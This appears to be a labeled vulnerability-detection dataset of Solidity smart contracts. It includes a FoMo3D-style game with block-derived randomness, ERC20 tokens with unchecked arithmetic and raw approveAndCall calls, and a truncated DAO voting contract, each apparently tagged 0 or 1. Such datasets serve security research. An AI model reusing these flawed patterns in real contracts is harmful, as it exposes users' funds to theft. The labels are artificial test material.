function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(25)) / 100;
uint256 _com = (_pot.mul(5)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _eth, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = (_eth.mul(5)) / 100;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
round_[_rID].pot = round_[_rID].pot.add(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _aff = (_eth.mul(20)) / 100;
_eth = _eth.sub(((_eth.mul(25)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_gen = _gen.add(_aff);
}
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO WAR2 already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now - rndGap_;
round_[1].end = now + rndInit_ ;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 |
pragma solidity ^0.4.8;
contract Token{
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns
(bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns
(uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256
_value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns
(bool success) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract PXMCCoin is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H0.1';
function PXMCCoin(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29548800;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xFa53b048b7557Bdd56E33F3De1b583b219E36F0e;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30326400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x50E90534949F2B421a94591CEb0FFD73f5117527;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^ 0.4 .18;
library SafeMath {
function add(uint a, uint b) internal pure returns(uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns(uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns(uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns(uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns(uint);
function balanceOf(address tokenOwner) public constant returns(uint balance);
function allowance(address tokenOwner, address spender) public constant returns(uint remaining);
function transfer(address to, uint tokens) public returns(bool success);
function approve(address spender, uint tokens) public returns(bool success);
function transferFrom(address from, address to, uint tokens) public returns(bool success);
function burn(uint256 value) public returns(bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Burn(address indexed from, uint256 value);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract eSportsToken is ERC20Interface, Owned {
using SafeMath
for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function eSportsToken() public {
symbol = "ESPT";
name = "eSports";
decimals = 18;
_totalSupply = 1500000000 * 10 ** uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns(uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns(uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns(bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns(bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns(bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function burn(uint256 value) public returns(bool success) {
require(balances[msg.sender] >= value);
balances[msg.sender] -= value;
_totalSupply -= value;
Burn(msg.sender, value);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns(uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns(bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function() public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns(bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.5.0;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
